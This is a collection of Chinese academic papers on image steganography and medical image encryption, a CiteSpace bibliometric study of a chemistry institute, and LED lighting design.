隱寫術(shù)作為信息隱藏的一種應(yīng)用,我們主要關(guān)注的性能參數(shù)是隱藏質(zhì)量和隱藏容量。隱藏質(zhì)量,是載密后對人類感官的影響程度。由于人類個體的差異,在判斷同一個目標時,會有不同的評價,所以不能有效地評價含密載體與原始載體的差別大小。為了使評價更容易量化,不因為個體差異而無法準確形容和評價載密前后的差異,引入一個國際通用的評價標準峰值信噪比PSNR。PSNR是指最大可能功率和影響它的表示精度的破壞性噪聲功率的比值。在隱寫中用來評價載密前后信息的相似程度。秘密信息通過某個隱寫算法嵌入到原始載體后,如果載密后圖像與其原始載體之間的PNSR值越大,說明該算法的隱藏質(zhì)量越好。但是PSNR的分數(shù)和人眼看到的視覺品質(zhì)也不是完全一致,有可能PSNR較高者看起來的效果反而不如PSNR較低者。隱藏容量也叫做隱藏載荷ER,表示所嵌入的秘密信息位占整個載體圖像像素點的百分比。多數(shù)算法都希望載體圖像能夠攜帶更多的信息,即有較大的隱藏容量,但隱藏容量和隱藏質(zhì)量往往相互制約,當隱藏的信息容量變化時,質(zhì)量也會隨之變化。

4 隱寫術(shù)工作原理及相關(guān)算法

在對信息隱寫算法優(yōu)化時主要通過兩個方面的實現(xiàn)。一是通過人的感官特性,人眼對圖像的視覺分成敏感的平滑區(qū)和遲鈍的邊緣區(qū),對于平滑去減少隱藏容量,對于邊緣區(qū)加大隱藏容量;二是圖像也可以分區(qū),稱之為分塊,對于不同特性的分塊可以采用不同的嵌入算法。

主流的隱寫算法是空域算法中的最低有效位LSB算法。該算法基本思想是將秘密信息嵌入到載體圖像像素值的最不顯著位也即最低有效位,從而達到隱藏秘密信息的目的,因為是最不顯著位,所以改變這一位置對宿主圖像的感官效果不產(chǎn)生影響。LSB的基本步驟是:把秘密信息轉(zhuǎn)換為二進制數(shù)據(jù),將秘密二進制數(shù)據(jù)與像素最低有效位對比,若相同,保留信息,否則將載體像素的最低有效位用最低秘密信息直接替換,就得到了載密二進制信息,最后將該二進制數(shù)據(jù)轉(zhuǎn)換為十進制像素值,也就是含有秘密信息的圖像。最小有效位算法容易實現(xiàn),而且嵌入信息容量大,是當前各種衍生算法的根本核心。

本文在這里介紹一種基于JPEG圖像的分塊隱寫算法。首先把秘密信息轉(zhuǎn)化為二進制信息,將圖像分成8*8的分塊,根據(jù)量化后的離散余弦變換系數(shù)DCT,計算分塊的不為零的交流系數(shù)個數(shù)。根據(jù)隱藏的容量的大小,確定閾值。根據(jù)閾值將圖像塊分成人眼敏感程度不同的三種類型,不同類型的分塊采取不同的隱藏算法嵌入數(shù)據(jù)。人眼不敏感的子塊,嵌入較大量信息,仍然可以保持較好的隱藏質(zhì)量,反之人眼較敏感的分塊,為了保證隱藏質(zhì)量,嵌入較小量信息。在進行秘密信息提取時,分塊提取也就是嵌入過程的逆過程,再把所有分塊中提取的秘密信息合成原有秘密信息。通過實驗數(shù)據(jù)表明,該算法有效地平衡了隱藏質(zhì)量和隱藏容量之間的關(guān)系,同時避免了方塊效應(yīng),從而在隱藏質(zhì)量得到保證的前提下大幅提高了隱藏容量。

通過數(shù)字隱寫完成秘密通信分為嵌入過程、傳輸過程和提取過程三個階段。密秘信息通過特定嵌入算法隱藏到原始載體中(也可以將秘密信息用傳統(tǒng)方法結(jié)合秘鑰加密后嵌入),形成含密載體,通過傳輸信道將含密載體發(fā)送出去。接收方通過隱寫檢測區(qū)分是否為含密載體,若是,再結(jié)合密鑰對含密載體使用提取算法,提取出秘密信息。

5 結(jié)束語

信息隱寫技術(shù)現(xiàn)在已經(jīng)成為了信息安全的一個熱點,廣泛應(yīng)用于各國軍事部門、安全部門的信息加密及情報傳輸?shù)确矫妗D壳皵?shù)字圖像信息隱藏技術(shù)已經(jīng)比較完善和成熟,但音頻和視頻作為網(wǎng)絡(luò)上新興和主流的數(shù)字媒體,是信息隱藏技術(shù)更廣闊的載體領(lǐng)域,而且人的視覺和聽覺也有不敏感性,所以基于音頻和視頻的隱寫算法研究也將是今后信息隱寫技術(shù)的工作重點。

參考文獻:

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[2]Cheng-Hsing Yang.Inverted pattern approach to improve image quality of information hiding by LSBsubstitution.Pattern Recognition,Volume 41,Issue 8,August 2008,Pages 2674-2683.

[3]徐凱平,鄭洪源,丁秋林.一種基于LSB和PVD的圖像信息隱藏算法研究[J].計算機應(yīng)用研究,2010,27(3):1068-1070.

篇9

基本思想是通過混沌系統(tǒng)運算出一個混沌序列,將這個序列按照事先選取的既定的算法或是排列方案進而進一步進行運算以生成新的一個序列。與此同時,為了保證原混沌序列的位置與計算后的新序列之間的變換位置是一一對應(yīng)的,又進一步利用了混沌系統(tǒng)的遍歷性。實驗表明,這種通過由混沌系統(tǒng)得出的混沌序列的進而對其進一步運算得到的變化關(guān)系在應(yīng)用到圖像置亂后可以實現(xiàn)明顯的圖像置亂效果。同時為了改變加密圖像的統(tǒng)計特性、圖像像素值以及降低圖像像素值間的相關(guān)性,也可以通過單個混沌序列或多個復(fù)合的混沌序列來實現(xiàn)改變。數(shù)字圖像信息隱藏數(shù)字圖像信息隱藏技術(shù)也可用于保護病人醫(yī)學(xué)影像的隱私。基本思想是,將需要被加密的醫(yī)學(xué)圖像的數(shù)字信息隱藏在另外一幅無關(guān)的圖像中,比如一幅公開圖像。這幅圖像要求具有一定的迷惑性、大眾性,以便迷惑攻擊者,能夠降低轉(zhuǎn)移其注意力,這樣就降低了圖像被攻擊的幾率;與此同時,通過一定算法改變加密圖像的原有的統(tǒng)計特性。以達到保護被加密影像的目的。應(yīng)用其中的調(diào)配融合算法、“中國拼圖”算法可以使圖像的信息隱藏達到一個高質(zhì)量的水平。另外,還可以綜合各種不同的算法的特點,將數(shù)字隱藏技術(shù)擴展到聲音、圖像等不同的信息載體中的信息隱藏需求中去。另外,近年來新興的一種數(shù)字作品版權(quán)保護技術(shù)——數(shù)字圖像水印技術(shù)[3],能夠有效地保護作者以及出版商的合法權(quán)益不受侵犯,現(xiàn)已被廣泛應(yīng)用于印刷領(lǐng)域中,具有了廣闊的使用價值和商用價值,成為多媒體及知識產(chǎn)權(quán)保護的有效手段之一。數(shù)字圖像水印技術(shù)是信息隱藏技術(shù)研究領(lǐng)域的一個重要分支。為了顯示創(chuàng)作者對其作品的所有權(quán),這種隱藏技術(shù)將具有某種意義的數(shù)字水印利用數(shù)字嵌入方法將其隱藏在其作品(可以是多種信息載體,比如視頻、圖像、聲音、文字等數(shù)字產(chǎn)品)中。在進行印刷品真?zhèn)悟炞C時,可通過水印的檢測、分析來保證數(shù)字信息的完整性及可靠性。數(shù)字圖像分存數(shù)字圖像分存技術(shù)是把一幅需要進行保護的數(shù)字圖像分割成多幅圖像進行傳輸。被分割后的圖像不再具有某種特殊的意義成為無意義或是看起來雜亂無章的圖像。也可將分割后圖像進一步隱藏到另外幾幅不相關(guān)的或是具有一定迷惑作用的圖像中進行存儲獲傳輸。這類似于數(shù)據(jù)組的分包傳輸。這樣可以避免因個別圖像的傳輸丟失而造成病人隱私信息遭到泄露的危險,而且也起到在通信中個別被分割后的圖像信息的丟失與泄露不會影響原始圖像信息的泄露。數(shù)字圖像分存技術(shù)的特點使竊密者竊取完整的原始圖像的成本大大增加,而且也提高了病人圖像隱私的保密程度同時,若將圖像置亂技術(shù)、圖像隱藏技術(shù)、圖像分存技術(shù)三者結(jié)合起來將使圖像的安全傳輸有了較高的可靠性。

對病人實行連續(xù)診斷,及時獲取病情發(fā)展狀況成為未來要實現(xiàn)的目標;同時,病人的隱私在圖像傳輸過程中也增加了泄露和被攻擊的風(fēng)險,因此,在某種特定情況下對病人圖像信息的傳輸需要進行加密保護。實現(xiàn)這一目標的關(guān)鍵技術(shù)就是安全性高、保密性強、延時短的圖像加密通信系統(tǒng)。圖像加密通信系統(tǒng)對病人的病情進行實時監(jiān)護,并將病人的信息實時傳回到醫(yī)生的監(jiān)控中心,使醫(yī)生能夠通過監(jiān)控屏幕實時查看了解病人的具體情況,以能夠及時做出正確的醫(yī)療診斷。目前數(shù)字圖像的特點決定了其在存儲傳輸時必定要占用較大的空間與帶寬,再加上其需要處理的信息量大,這就進一步給圖像的加密和通信帶來了困難。而遠程醫(yī)療更需要清楚的觀測到病人的詳細病情,就進一步加大了保密通信的難度。因此需要將圖像壓縮以及圖像加密兩個技術(shù)結(jié)合起來對數(shù)字圖像的傳輸進行處理。圖像加密是為了保證數(shù)字圖像的安全,圖像的壓縮技術(shù)可以最大限度的減小占用的存儲空間以便降低傳輸數(shù)據(jù)量。根據(jù)對原始圖像進行壓縮及加密處理過程不同,可將現(xiàn)有的數(shù)字圖像加密通信分為三類。圖像直接加密將數(shù)字圖像直接加密一般是通過數(shù)字圖像置亂技術(shù)直接對需要加密的數(shù)字圖像進行置亂,隨后再進行壓縮編碼和通信傳輸。這個方面的研究較早,相關(guān)論文也最多。例如,基于混沌的數(shù)據(jù)塊加密算法將圖像或視頻數(shù)據(jù)先進行位置置亂,再進行像素值擴散,此算法具有較高的密鑰敏感性和明文敏感性,使得加密后的數(shù)據(jù)具有均勻隨機分布的特點。但是,這類方案只看重了圖像的加密,沒有將圖像的壓縮編碼問題放在同樣重要的位置上考慮。這樣就隨之而然的出現(xiàn)了兩個嚴重影響通信效率及解密后的圖像清晰度的問題。一是,需要加密的原始視頻圖像本身的數(shù)據(jù)占用空間就大,其進一步的加密計算便會消耗大量的資源與時間,這與實時性的要求有悖,況且目前的設(shè)備處理能力有限更難以達到圖像傳輸?shù)膶崟r性要求,加重了通信的負擔(dān);二是,由于經(jīng)過加密算法處理,使圖像原來的相鄰像素間的相關(guān)性有了變化,大量的增加了高頻分量。使加密壓縮后的視頻圖像的高頻分量比低頻分量的失真大得多,因此解密后的圖像會有較大的失真。

首先通過現(xiàn)有的壓縮算法對視頻、圖像進行壓縮,之后再對壓縮后的數(shù)據(jù)加密。加密的算法可更具需要采用安全性不同的算法。此方案的優(yōu)點是具有較高的安全性;缺點是由于加密是在壓縮后的數(shù)字圖像數(shù)據(jù)上進行,便不再區(qū)分數(shù)據(jù)的重要性,因此數(shù)據(jù)加密的效果差、效率低而且數(shù)據(jù)也量大,使運算的設(shè)備負擔(dān)也加重。選擇性加選擇性加密是在方案特點的基礎(chǔ)上改進,在選擇采用一定的壓縮標準將視頻圖像壓縮后,再對重要的數(shù)據(jù)進行著重加密。兼顧了數(shù)據(jù)的安全與傳輸?shù)男省D壳埃曨l圖像編碼標準根據(jù)靜態(tài)圖像和動態(tài)圖像來分主要分為靜態(tài)圖像的壓縮標準和運動圖像的壓縮標準兩種。動態(tài)圖像的壓縮標準主要有MPEG-1,MPEG-2,MPEG-4,H.263和H.264;靜態(tài)圖像的壓縮標準主要有JPEG、JPEG2000。文獻[4]采用小波置亂的方法來實現(xiàn)對JPEG2000的小波系數(shù)的實時加密。針對MPEG-2標準,文獻[5]提出了對I幀加密的思路。針對H.264具有代表性的研究成果有Ahn提出的幀內(nèi)預(yù)測模式加擾方法,該方法將所有I、P幀中的INTRA-4x4塊和INTR_16×16塊預(yù)測模式使用定長偽隨機序列進行隨機加擾,方法效率高但安全性較差。文獻[6]提出了對熵編碼過程進行加密的思路,但這種方案的實現(xiàn)比較復(fù)雜。

作者:李穎姝 李瑩 單位:青島市第五人民醫(yī)院 青島市電子政務(wù)與信息資源管理辦公室

篇10

信息可視化(informaiton visualization,InfoVis或Iv)是近年來出現(xiàn)的數(shù)據(jù)挖掘方法之一,它能很好地利用人類對可視化形式下的模型和結(jié)構(gòu)的獲取能力,解決科技文獻數(shù)據(jù)量過大、無法快速和有效交流的問題,同時可視化數(shù)據(jù)挖掘可觀察、篩選、發(fā)現(xiàn)和理解信息,發(fā)現(xiàn)隱藏在數(shù)據(jù)和信息背后的含意[1]。

本文以開展基礎(chǔ)研究為主,有重點地開展國家急需的、有重大戰(zhàn)略需求的高技術(shù)創(chuàng)新研究,并與高新技術(shù)應(yīng)用和轉(zhuǎn)化工作相協(xié)調(diào)發(fā)展的多學(xué)科、綜合性研究所――中國科學(xué)院化學(xué)所(以下簡稱化學(xué)所)作為研究機構(gòu)的實例,以化學(xué)所近5年(2004-2008年)被科學(xué)引文索引數(shù)據(jù)庫(SCIE)收錄的國際論文為科研產(chǎn)出指標,利用SCIE分析功能,結(jié)合近年出現(xiàn)的信息可視化數(shù)據(jù)挖掘軟件――citespace,對收錄的科學(xué)文獻全紀錄數(shù)據(jù)進行統(tǒng)計和可視化分析。在傳統(tǒng)的對相關(guān)信息文獻計量分析的基礎(chǔ)上,更加注重利用citespace軟件對論文題目、摘要、關(guān)鍵詞、標示符等數(shù)據(jù)提取詞集,從引文數(shù)量、共現(xiàn)和共引的頻次多方面進行聚類計算,發(fā)現(xiàn)隱藏在可視化數(shù)據(jù)背后的有價值情報。

1 方法與數(shù)據(jù)源

1.1 方法

采用美國Drexe1大學(xué)陳超美博士開發(fā)的基于JAVA平臺的citespace在線可視化軟件,該軟件是一種適于多元、分時、動態(tài)的復(fù)雜網(wǎng)絡(luò)分析的新一代信息可視化技術(shù)。使用citespace 的一般步驟:①確定一個研究領(lǐng)域或研究機構(gòu),收集盡可能多的文獻;②收集數(shù)據(jù), 包括題目、摘要、被引文獻等信息的文獻全紀錄信息;③參數(shù)選擇:確定總的時間段范圍和時間分區(qū);選擇分析的節(jié)點類型;引文數(shù)量、共被引頻次和共被引系數(shù)三個層次上分別設(shè)定閾值;選擇算法精簡和合并網(wǎng)絡(luò);④顯示可視化圖譜;確定關(guān)鍵點。

citespace可用于進行科學(xué)文獻全記錄數(shù)據(jù)共引網(wǎng)絡(luò)分析,通過對文獻信息的可視化,能夠較為直觀地識別研究機構(gòu)科研產(chǎn)出發(fā)展態(tài)勢的情報[2]。

1.2 數(shù)據(jù)源

選擇美國科學(xué)情報研究所ISI(International for Scientific Information)創(chuàng)建的SCIE數(shù)據(jù)庫為數(shù)據(jù)源,檢索策略為:地址= inst chem* same (chin* aca* or acta*) same beijing),出版年=2004-2008,檢索結(jié)果命中記錄4 065條,引文數(shù)據(jù)138 586條,總被因頻次為38 053次。將2004-2008年間化學(xué)所發(fā)表的4 065篇論文的作者、題目、主題詞、關(guān)鍵詞、文獻的引文等全紀錄信息導(dǎo)入citeSpace軟件,采用SCIE的分析功能和citespace軟件 ( 2009年3月20日2.2. R1 Webstart版本[3])進行年代分布、合作者、學(xué)科領(lǐng)域、合作機構(gòu)、合作國家、期刊共引、作者共引信息分析,繪制網(wǎng)絡(luò)可視化圖譜。

2 化學(xué)所情況分析

2.1 年代分布

SCIE收錄的2004-2008年間化學(xué)所的數(shù)量和論文被引頻次分布結(jié)果如圖1所示:

在2004-2008年5年間,化學(xué)所論文數(shù)量保持平穩(wěn)增長,年均數(shù)量約800篇;但是5年間的被引頻次從2004年的186次,猛增到2008年的12 805次,呈逐年大幅度增長的趨勢,被引頻次的提高表明化學(xué)所的質(zhì)量有了顯著的提高。通過SCIE引證檢索結(jié)果的數(shù)據(jù):化學(xué)所論文年平均被引頻次達到6 604.67,篇平均被引頻次為9.36,h指數(shù)為66,進一步反映化學(xué)所2004-008年5年在國際科學(xué)研究領(lǐng)域的影響力顯著加強。

2.2 化學(xué)所論文合著者分布(co-authors network)

利用citespace軟件對2004-2008年間化學(xué)所的合著者網(wǎng)絡(luò)圖譜進行分析,選擇使用關(guān)鍵路徑(pathfinder)算法,網(wǎng)絡(luò)節(jié)點確定為作者,時間區(qū)選擇為1年,閾值為(6,6,40),(8,8,40),(10,10,40)。圖譜中不同大小和不同顏色的圓環(huán)組成的作者年輪來表示合著者頻次(freq)和合著年份[4]。如圖2、表1所示:

從圖2、表1中可以清晰地看出,2004-2008年化學(xué)所的論文合著者中合著頻次高于100次的有7人,其中,合著頻次位于前5位的分別是:Zhu DB院士、Jiang L研究員、Han BX研究員、Liu YQ研究員和Li YL研究員。對論文合著者進行聚類分析,可以看出圖譜可以聚為6大類,6大類中合著頻次最高的作者分別是由Zhu DB院士、Jiang L研究員、Han BX研究員、Wan LJ所長、Wan LJ研究員和Li YF研究員,因此通過化學(xué)所論文合著者的網(wǎng)絡(luò)圖譜分析,可以清楚地了解化學(xué)所研究領(lǐng)域的學(xué)科帶頭人及其研究團隊的分布。

2.3 化學(xué)所論文學(xué)科領(lǐng)域分布(co-occurring subject category )

利用citespace軟件對1995-2008年化學(xué)所共現(xiàn)學(xué)科領(lǐng)域進行分析,選擇使用關(guān)鍵路徑算法,網(wǎng)絡(luò)節(jié)點確定為學(xué)科領(lǐng)域,時間區(qū)選擇為1年,閾值為(2,2,5),(3,3,5),(3,3,20)。圖譜中不同大小和不同顏色的圓環(huán)組成的學(xué)科領(lǐng)域年輪表示學(xué)科領(lǐng)域的共現(xiàn)頻次和共現(xiàn)年份,用不同顏色的連線來表示學(xué)科領(lǐng)域間共現(xiàn)的年代。如圖3、表2所示:

從圖3、表2中可以看出,在化學(xué)所論文共現(xiàn)學(xué)科領(lǐng)域中,共現(xiàn)頻次大于20次的學(xué)科領(lǐng)域有16個,其中化學(xué)、聚合物科學(xué)、物理、材料科學(xué)、納米科學(xué)及納米技術(shù)位于與化學(xué)所共現(xiàn)學(xué)科領(lǐng)域的前5位。

2.4 與化學(xué)所共作者的機構(gòu)分布(network of co-authors institutes)

利用citespace軟件對2004-2008年與化學(xué)所共作者的機構(gòu)網(wǎng)絡(luò)圖譜進行分析,選擇使用關(guān)鍵路徑算法,網(wǎng)絡(luò)節(jié)點確定為機構(gòu),時間區(qū)選擇為1年,閾值為(2,2,5),(3,3,5),(3,3,20)。圖譜中不同大小和不同顏色的圓環(huán)組成的機構(gòu)年輪來表示機構(gòu)與化學(xué)所共作者頻次和共作者年份。如圖4、表3所示:

從圖4、表3中可以看出,在與化學(xué)所共作者的機構(gòu)中,中科院的節(jié)點(freq=3 718)遠遠大于其他機構(gòu),說明化學(xué)所與中科院內(nèi)的共作者者頻次最高。還可以看出共作者頻次大于30次的機構(gòu)有14個,其中北京大學(xué)、武漢大學(xué)、山東大學(xué)、清華大學(xué)、吉林大學(xué)位于與化學(xué)所國內(nèi)共作者的前5位,值得注意的是德國Max Planck Inst Colloids & Interfaces的合作位居第10位,說明化學(xué)所與該機構(gòu)的合作十分緊密。

2.5 與化學(xué)所共作者的國家分布(network of co-authors countries)

利用citespace軟件對2004-2008年與化學(xué)所共作者的國家網(wǎng)絡(luò)圖譜進行分析,選擇使用關(guān)鍵路徑算法,網(wǎng)絡(luò)節(jié)點確定為國家,時間區(qū)選擇為1年,閾值為(2,2,3),(2,2,3),(3,3,5)。圖譜中不同大小和不同顏色的圓環(huán)組成的國家年輪來表示國家與化學(xué)所的共作者頻次和共作者年份。如圖5、表4所示:

從圖5、表4中可以看出,在與化學(xué)所共作者的國家中,中國的節(jié)點(freq=3 931)遠遠大于其他國家,說明化學(xué)所與國內(nèi)共作者的頻次最高。還可以看出與化學(xué)所共作者的頻次大于10次的國家有9個,其中美國、德國、日本、加拿大、英國位于與化學(xué)所合作的前5位。

2.6化學(xué)所期刊共引分析(journal co-citation network)

利用citespace軟件對2004-2008年化學(xué)所期刊共引進行分析,選擇使用關(guān)鍵路徑算法,網(wǎng)絡(luò)節(jié)點確定為期刊,時間區(qū)選擇為1年,閾值為(30,30,30),(30,30,30),(30,30,40)。圖譜中不同大小和不同顏色的圓環(huán)組成的期刊年輪來表示期刊的共引頻次和共引年份,用不同顏色的連線來表示期刊間共引的年代。如圖6、表5和表6所示:

從圖6、表5、表6中可以清晰地看出,目前化學(xué)所使用的核心期刊中有9種期刊的共引頻次高于1 000,其中,期刊共引頻次位于前5位的分別是:《科學(xué)》、《自然》、《物理化學(xué)雜志B》、《先進材料》、《化學(xué)評論》。尤其值得注意的是SCIE數(shù)據(jù)庫中化學(xué)所發(fā)文量位于前5位的期刊分別是:《物理化學(xué)雜志B》、《應(yīng)用聚合物科學(xué)》、《聚合物》、《大分子》、《蘭格繆爾》,與期刊共引頻次排在前5位的有所不同,因此,在關(guān)注學(xué)科領(lǐng)域核心期刊的時候,來源期刊發(fā)文量和共引頻次排名居前列的期刊都應(yīng)該是重點關(guān)注的期刊。通過化學(xué)所期刊共引網(wǎng)絡(luò)圖譜中期刊共引頻次的分析,能夠更快速、直觀地了解化學(xué)所的核心期刊分布。

2.7 共詞分析(network of co-occuring phrases)

利用citespace軟件對2004-2008年化學(xué)所文獻共詞和突現(xiàn)詞進行分析,選擇使用關(guān)鍵路徑算法,網(wǎng)絡(luò)節(jié)點確定為關(guān)鍵詞,時間區(qū)選擇為1年,閾值為(10,10,20),(10,10,20),(10,10,20)。圖譜中不同大小和不同顏色的圓環(huán)組成的年輪來表示關(guān)鍵詞的共現(xiàn)頻次和共現(xiàn)年份,用不同顏色的連線來表示關(guān)鍵詞間共現(xiàn)的年代。最外層紫色圈突出顯示表示共詞中心性(centrality),即在整體網(wǎng)絡(luò)中所起連接作用大小。軟件還會根據(jù)某段時間內(nèi)關(guān)鍵詞共現(xiàn)頻次,將變化率高的詞從大量的主題詞中探測出來,稱為突現(xiàn)詞,用紅色字顯示。如圖7、表7所示:

從圖7、表7中可以清晰地看出,化學(xué)所論文共現(xiàn)詞,頻次高于100的關(guān)鍵詞有21個,其中被引頻次位于前5位的分別是:聚合物(polymers)、形態(tài)學(xué)(morphology)、納米粒子(nanoparticles)、膜(films)和衍生物(derivatives)。通過高頻出現(xiàn)的關(guān)鍵詞在共詞網(wǎng)絡(luò)圖譜中展示的共現(xiàn)頻次,在一定程度上揭示了化學(xué)所的熱點研究方向。

3 小 結(jié)

本文通過繪制化學(xué)所的合作者、學(xué)科領(lǐng)域、合作機構(gòu)、合作國家、期刊共引和文獻共詞的可視化圖譜,以圖譜方式揭示了化學(xué)所近5年發(fā)展過程中起關(guān)鍵作用的學(xué)科帶頭人、重點學(xué)科、核心期刊、研究熱點等信息情報。目的在于通過研究機構(gòu)文獻計量的可視化分析方法,探索深度挖掘研究機構(gòu)內(nèi)部的重點學(xué)科領(lǐng)域分布、合作團隊及學(xué)科領(lǐng)軍人物、研究機構(gòu)外部的合作研究機構(gòu)及合作國家的分布以及研究機構(gòu)的熱點研究方向等情報的方法,在滿足科研用戶學(xué)術(shù)信息查找利用需求的同時,為研究所制定戰(zhàn)略規(guī)劃、提升國際競爭能力提供有價值的情報,從而進一步提升學(xué)科館員融入研究所科研一線的知識化服務(wù)能力。

參考文獻:

[1] Chaomei C.Searching for intellectual turning points:Progressive knowledge domain visualization.Proceedings of the National Academy of Sciences of the United States of America,Washington:US National Academy of Sciences,2004,101(Supp1.1):5303-5301.

[2] 劉則淵. 科學(xué)知識圖譜:方法與應(yīng)用. 北京:人民出版社,2008.

篇11

一、LED光源、燈具的優(yōu)點及靈活性

(一)LED光源概述

LED,即半導(dǎo)體發(fā)光二級管,其單位體積小,在顯示屏、交通訊號顯示、汽車工業(yè)、建筑行業(yè)等方面獲得廣泛應(yīng)用。LED光源在應(yīng)用中,其功能性較強,發(fā)光效率高,光線質(zhì)量強,且LED光源光色純,光束集中,響應(yīng)快,其藝術(shù)性較強;LED光源多采取低電壓低電流驅(qū)動,功率因數(shù)接近1,耗能低,可以有效節(jié)約能源;LED光源內(nèi)不含有有毒成分,廢棄物可以有效回收利用,屬于一種無污染光源,綠色環(huán)保,是21世紀必不可少的環(huán)保照明用品。一般低功率白光LED壽命在3萬小時以上,高功率白光LED壽命在2萬小時以上,彩色LED壽命則在5-10萬小時范圍內(nèi),其壽命長。綜上,LED光源相對傳統(tǒng)燈性能而言,其符合綠色環(huán)保要求,綜合性能較好,具有較強的競爭優(yōu)勢。

(二)LED燈的“隱蔽”性

LED光源其單位體積較小,結(jié)構(gòu)設(shè)計緊湊,應(yīng)用方式靈活,能夠在狹小空間范圍內(nèi)投光,便于隱藏,也可以組合應(yīng)用多顆粒LED光源構(gòu)成光源線或面或其他造型,美化景觀及建筑環(huán)境,提高其藝術(shù)效果。LED燈的“隱藏”主要分為點式隱藏、帶式隱藏與面式隱藏三種形式。其中點式隱藏為:于天棚設(shè)置燈槽并安裝單個燈具,根據(jù)實際需要,選擇多顆LED組合為大功率光源;帶式隱藏:于天棚四周設(shè)置燈槽并安裝LED條形射燈,通過多顆彩燈LED光源構(gòu)成一列或多列,采取串聯(lián)方式進行設(shè)置,由上而下照明;面式隱藏:一般建筑中,天棚、外墻面及地板為主要照亮發(fā)光面,應(yīng)用LED光源,于窗戶內(nèi)沿或支架上設(shè)置線性發(fā)光條,營造出良好的裝飾效果。

(三)LED燈與建筑一體化

在現(xiàn)代建筑照明設(shè)計中應(yīng)用LED,可以實現(xiàn)建筑與照明一體化,要求協(xié)調(diào)建筑空間、建筑構(gòu)件與燈具等因素,合理協(xié)調(diào)組織,相互促進,應(yīng)用科學(xué)措施解決存在問題。LED燈與建筑一體化中,其中大面積顯示屏應(yīng)用效果尤為突出。當前,LED形狀大多表現(xiàn)為圓形,其呈現(xiàn)外觀多為圓形排列構(gòu)成,與外包殼結(jié)合形成視覺造型。LED燈與建筑構(gòu)件相結(jié)合,在照明設(shè)計中應(yīng)綜合考慮燈具與建筑構(gòu)件和諧性與藝術(shù)性。LED燈本身存在著裝飾性,可以在中空管線中形成線性發(fā)光條或發(fā)光帶,在建筑立面構(gòu)件中設(shè)置于夜景裝飾部位,從而形成與建筑為一體的線性發(fā)光條。

二、LED照明在多設(shè)計領(lǐng)域中的應(yīng)用

(一)LED室內(nèi)照明設(shè)計

建筑室內(nèi)環(huán)境照明應(yīng)綜合考慮設(shè)計目標,合理應(yīng)用技術(shù)措施及藝術(shù)手段,對室內(nèi)設(shè)計環(huán)境及空間等因素進行充分分析,應(yīng)用創(chuàng)造性思維,打造出符合工作、生活、生產(chǎn)功能需求,滿足人們心理及生理要求的室內(nèi)照明環(huán)境。在建筑室內(nèi)進行照明設(shè)計時,應(yīng)遵循以下原則:從視角角度,要求室內(nèi)照明設(shè)計可見度較好,保證其照度合適,亮度分布均勻,避免出現(xiàn)眩光;從心理角度,要求室內(nèi)照明設(shè)計氛圍符合環(huán)境功能要求。

(二)LED室外照明設(shè)計

室外照明在提高城市活力,保障夜間車輛通行安全及效率,保障行人安全等方面發(fā)揮著重要的現(xiàn)實意義,室外照明延展了人們的夜間生活時光,豐富了城市居民休閑及娛樂活動。建筑室外照明設(shè)計,是通過燈光照明塑造景觀效果。人們對建筑室外照明需求可以分為基本需求、感官信息需求及精神審美需求三個方面,按照人們的需求不同,可以將室外照明劃分為安全照明、功能照明與景觀照明三種類型。其中安全照明與功能照明屬于基礎(chǔ)性照明,景觀照明側(cè)重滿足人們的精神需求,給人帶來精神上的享受。

1.道路照明設(shè)計中LED的應(yīng)用

進行道路照明設(shè)計,其目的主要在于:保障車輛行駛安全;方便行人辨別方向、識別障礙物,提供安全感;改善夜間環(huán)境。道路照明設(shè)計為夜間車輛及人員提供安全舒適的光環(huán)境。考慮到道路照明持續(xù)性及其能源消耗較大,為此,在道路照明設(shè)計中應(yīng)用LED,可以有效節(jié)約能源,保護環(huán)境,提高城市形象。城市道路照明規(guī)劃設(shè)計應(yīng)建立于城市發(fā)展規(guī)劃的基礎(chǔ)上,并綜合考慮電力規(guī)范,保障道路設(shè)計的科學(xué)合理性,能夠有效的減少資源浪費。

LED城市道路照明設(shè)計主要內(nèi)容為:按照道路級別、交通密度、交通控制措施、城市規(guī)模及是否為旅游城市等合理選擇照明標準值;在道路照明設(shè)計中考慮誘導(dǎo)性因素,如道路燈桿、燈具、中心線等屬于視覺誘導(dǎo)性因素,照明燈光、光源色及排列等為光學(xué)誘導(dǎo)性因素,確保道路照明設(shè)計其誘導(dǎo)性良好;為駕駛?cè)藛T提供良好的視覺舒適感與可見度;安好道路級別與道路周邊環(huán)境合理選擇光源。

2.建筑外觀照明設(shè)計中LED應(yīng)用

建筑外觀照明屬于城市規(guī)劃與城市建設(shè)的重要部分,其照亮建筑物的方式主要分為泛光照明與內(nèi)透光照明兩種方式。其中LED泛光照明即立面照明,屬于一種應(yīng)用較為廣泛的建筑外部裝飾照明方式,如國際著名景點埃菲爾鐵塔、巴黎圣母院、凱旋門等建筑均采取泛光照明方式。LED投光燈光色好,立體性較強,其藝術(shù)效果較明顯。LED透射式照明,以其功能特點為標準可以分為裝飾性透射與功能性透射兩種形式。上海金茂大廈就是采取內(nèi)透照明方式,讓整個建筑通透,提高了建筑外觀效果,且便于維修,綜合效益良好。

3.景觀照明設(shè)計中LED應(yīng)用

景觀照明結(jié)合了自然及美學(xué),是對夜間景觀環(huán)境的二次藝術(shù)性創(chuàng)造,可以營造出抒情的生活環(huán)境,改善人們生活質(zhì)量。LED光源其柔和光色在景觀照明設(shè)計應(yīng)用中藝術(shù)效果十分突出,不僅可以為人們提供良好的視覺環(huán)境,還可以有效協(xié)調(diào)光色,增強景觀藝術(shù)美感,陶冶情操,滿足人們審美需求、心理需求。如在庭院燈光小品中應(yīng)用LED,采取柔和的顏色,產(chǎn)生視覺享受,豐富情感。

三、結(jié)語

LED光源單位體積小,功能性、藝術(shù)性,且綠色節(jié)能,因其有突出的特性,在照明市場中占有重要地位,逐漸在各領(lǐng)域得到廣泛應(yīng)用。在現(xiàn)代照明設(shè)計中應(yīng)用LED,其綜合效益突出。本文在概述LED光源的基礎(chǔ)上,重點對LED在照明設(shè)計中的應(yīng)用進行研究。LED在照明設(shè)計中分為點式隱藏、帶式隱藏與面式隱藏三種隱藏方式,將LED燈與建筑一體化,能夠有效提高照明效果,并從室內(nèi)與室外兩個角度,對LED在現(xiàn)代建筑設(shè)計中的應(yīng)用進行分析。實踐證明,LED光源在照明設(shè)計中應(yīng)用效果突出,綜合效益良好,未來應(yīng)用前景廣闊。

參考文獻:

[1]袁景玉,唐春娥.建筑化LED照明設(shè)計流程與策略分析[J].城市建設(shè)理論研究(電子版),2011,(34).

